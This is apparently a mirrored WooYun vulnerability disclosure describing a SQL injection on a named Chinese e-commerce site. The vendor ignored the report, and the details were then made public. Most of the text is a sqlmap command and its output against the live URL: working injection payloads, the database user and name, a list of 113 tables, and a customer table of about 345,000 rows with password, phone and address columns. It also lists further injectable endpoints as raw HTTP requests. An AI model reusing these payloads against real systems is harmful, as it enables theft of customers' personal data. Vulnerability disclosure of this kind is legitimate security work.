乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-05-24: 积极联系厂商并且等待厂商认领中,细节不对外公开 2015-07-08: 厂商已经主动忽略漏洞,细节向公众公开
SQL注入,致用户数据完全泄露
注入点为http://www.salala.com.cn/liuyan/index.php?page=2&search=1中的search参数,具体如下所示:
[email protected]:~/Documents/sqlread# sqlmap -u "http://www.salala.com.cn/liuyan/index.php?page=2&search=1" -p "search" --level=5 --dbms=mysql --current-db --current-user sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 00:30:20[00:30:20] [INFO] testing connection to the target URLsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: search Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: page=2&search=1') AND 1459=1459 AND ('ZTTE' LIKE 'ZTTE Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: page=2&search=1') AND (SELECT 3286 FROM(SELECT COUNT(*),CONCAT(0x716d656271,(SELECT (CASE WHEN (3286=3286) THEN 1 ELSE 0 END)),0x716e696271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('qHPP' LIKE 'qHPP Type: UNION query Title: MySQL UNION query (NULL) - 8 columns Payload: page=2&search=1') UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716d656271,0x5a63456b754d627a4377,0x716e696271),NULL,NULL,NULL# Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: page=2&search=1') AND SLEEP(5) AND ('gmTy' LIKE 'gmTy---[00:30:21] [INFO] testing MySQL[00:30:21] [INFO] confirming MySQL[00:30:21] [INFO] the back-end DBMS is MySQLweb application technology: Apache, PHP 5.2.17back-end DBMS: MySQL >= 5.0.0[00:30:21] [INFO] fetching current usercurrent user: '[email protected]'[00:30:21] [INFO] fetching current databasecurrent database: 'newsalala'
得到newsalala中的113个tables,如下所示:
Database: newsalala[113 tables]+-----------------------------+| am_account || am_account_dummy || am_balance_log || am_bank_name || am_hj || am_limit_used || am_payment || am_points_log || cm_customer || cm_customer_basket || cm_customer_complaint || cm_customer_dummy || cm_customer_favorites || cm_customer_friends || cm_customer_grade || cm_customer_mail || cm_customer_receipt || cm_customer_reminder || cm_customer_type || cm_liuyan || festival_man || festival_product || friendlylink || im_coupon || im_coupon_log || im_coupon_other || im_membership_card || im_membership_card_type || im_rechargeable_card || im_rechargeable_card_type || im_sale_card || im_sale_log || im_sales || im_yintai || mm_coupon_cooperation || mm_enterprise_staff || om_baobiao || om_baobiao_update || om_baobiao_update_log || om_flowery_log || om_lakala_log || om_note || om_order || om_order_auto || om_order_delivery || om_order_delivery_log || om_order_insert_log || om_order_log || om_zhifu || pm_attribute || pm_baike || pm_class_attribute || pm_component || pm_component_type || pm_county || pm_delivery_area || pm_delivery_option || pm_price_alter || pm_price_factor || pm_product || pm_product_attribute || pm_product_bak || pm_product_class || pm_product_class_bak || pm_product_components || pm_product_dakehu || pm_product_delivery || pm_product_present || pm_product_price_log || pm_product_priceplan || pm_product_priceplan_bak || pm_product_qiangpai || pm_product_tuijian || print_setting || prm_agent || prm_channel || prm_channels_banner || prm_channels_recommend || prm_channels_report || prm_channels_settle_history || prm_channels_union_accounts || prm_channels_union_notice || prm_channels_union_suggest || prm_channels_union_urls || prm_provider || prm_source || report_0812 || sm_area || sm_bulletin || sm_doc || sm_docclass || sm_docsubclass || sm_mail || sm_map || sm_menu || sm_menuchild || sm_permission || sm_shouye || sm_sysinfo || sm_uggroups || sm_ugmembers || sm_ugrights || sm_user || sm_usergroup || sm_userlog || sm_userrole || sm_usertype || tbl_session || v_big_customer || v_order_report || v_order_with_source || v_product_with_class || zhuanti |+-----------------------------+
cm_customer中包含的用户数:
Database: newsalala+-------------+---------+| Table | Entries |+-------------+---------+| cm_customer | 345126 |+-------------+---------+
cm_customer中包含的列:
Table: cm_customer[31 columns]+------------------------+---------------+| Column | Type |+------------------------+---------------+| address | varchar(200) || attitude | varchar(32) || birthday | date || card_id | int(11) || city | mediumint(9) || consumption | decimal(10,2) || country | mediumint(9) || customer_code | varchar(64) || customer_id | int(11) || district | mediumint(9) || effecitve_order_number | int(11) || email | varchar(64) || giftcode_used | text || grade_id | int(11) || group_customer_id | int(11) || mobile | varchar(50) || name | varchar(100) || online | int(1) || password | varchar(100) || province | mediumint(9) || recent_login_date | datetime || recent_login_ip | varchar(32) || recent_payment_type | int(11) || referrer | int(11) || register_time | datetime || sex | varchar(32) || source | varchar(20) || source_type | varchar(32) || telephone | varchar(70) || type_id | int(11) || zipcode | varchar(50) |+------------------------+---------------+
其它猪肉点
GET /addgoods.php?code=FL10612&uid=* HTTP/1.1Cookie: PHPSESSID=4jgse5svv5i656htv1vhpcg1p6Host: salala.com.cnConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Accept: */*
GET /addgoods.php?code=*&uid=987654321234567891430106191 HTTP/1.1Cookie: PHPSESSID=4jgse5svv5i656htv1vhpcg1p6Host: salala.com.cnConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Accept: */*
GET /interflora/international_flowers.php?area=* HTTP/1.1Cookie: PHPSESSID=4jgse5svv5i656htv1vhpcg1p6Host: salala.com.cnConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Accept: */*
参数过滤
未能联系到厂商或者厂商积极拒绝